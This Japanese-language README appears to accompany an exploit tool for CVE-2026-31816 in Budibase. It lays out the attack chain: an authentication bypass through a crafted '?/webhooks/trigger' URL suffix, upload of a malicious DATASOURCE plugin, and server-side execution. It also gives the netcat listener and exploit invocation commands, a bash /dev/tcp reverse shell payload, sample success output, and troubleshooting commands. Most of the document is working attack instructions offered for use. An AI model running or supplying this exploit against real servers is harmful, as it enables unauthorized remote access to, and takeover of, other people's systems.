
CVE-2026-31816を悪用してBudibaseの認証をバイパスし、悪意のあるデータソースプラグインをアップロードして、リモートアクセス用のリバースシェルを実行します。
このツールはCVE-2026-31816を悪用して、標的のBudibaseサーバーにリバースシェル接続を確立します。
攻撃チェーン: 認証バイパス → DATASOURCEプラグインのアップロード → サーバーサイドコード実行 → リバースシェル
requestsライブラリ(pip install requests)# 1. 攻撃者マシンでリスナーを起動
nc -lvnp 4444
# 2. エクスプロイトを実行(別のターミナル)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost YOUR_IP --lport 4444
| パラメータ | 必須 | 説明 |
|---|---|---|
-t, --target | ✅ | 標的Budibase URL |
--lhost | ✅ | リスナーホスト(自分のIP) |
--lport | ❌ | リスナーポート(デフォルト: 4444) |
# 攻撃者IP: 192.168.1.100
# 標的Budibase: 192.168.1.128:10000
# ターミナル1 - リスナーを起動
nc -lvnp 4444
# ターミナル2 - エクスプロイトを実行
python3 CVE-2026-31816-rshell.py \
-t http://192.168.1.128:10000 \
--lhost 192.168.1.100 \
--lport 4444
GET /api/integrations?/webhooks/trigger
200が返された場合、標的は認証バイパスに対して脆弱です。
{
"type": "datasource",
"schema": { ... }
}
DATASOURCEタイプのプラグインはサーバー上でJavaScriptコードを実行します。
// プラグインが検証されるときに実行される:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
POST /api/plugin/upload?/webhooks/trigger
認証をバイパスしてプラグインをアップロードします。コードは検証中に実行されます。
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ 攻撃者 │ │ 標的 │ │ リスナー │
│ │ │ サーバー │ │ (nc) │
│ │ │ │ │ │
│ エクスプロイト ────┼────►│ アップロード │ │ │
│ │ │ プラグイン │ │ │
│ │ │ コード実行 │────►│ 待機 │
│ │ │ │◄────┤ リバース │
│ │ │ │ │ 接続 │
└─────────────┘ └─────────────┘ └─────────────┘
============================================================
CVE-2026-31816 - リバースシェルエクスプロイト
============================================================
[*] 標的: http://192.168.1.128:10000
[*] リバースシェル: 192.168.1.100:4444
[*] 脆弱性をチェック中...
[+] 標的は脆弱です!
[*] 192.168.1.100:4444を対象としたリバースシェルプラグインを作成中
[*] リバースシェルプラグインをアップロード中...
[*] ステータス: 200
[+] プラグインが正常にインストールされました!
============================================================
[+] 成功!リスナーを確認してください!
============================================================
考えられる原因:
解決策:
# ネットワーク接続を確認
ping YOUR_IP
# ファイアウォールを確認
sudo ufw allow 4444/tcp
# 別のポートを試す
nc -lvnp 8080
考えられる原因:
解決策:
# 脆弱性が存在するか手動でテスト
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# JSONが返された場合、脆弱性が存在します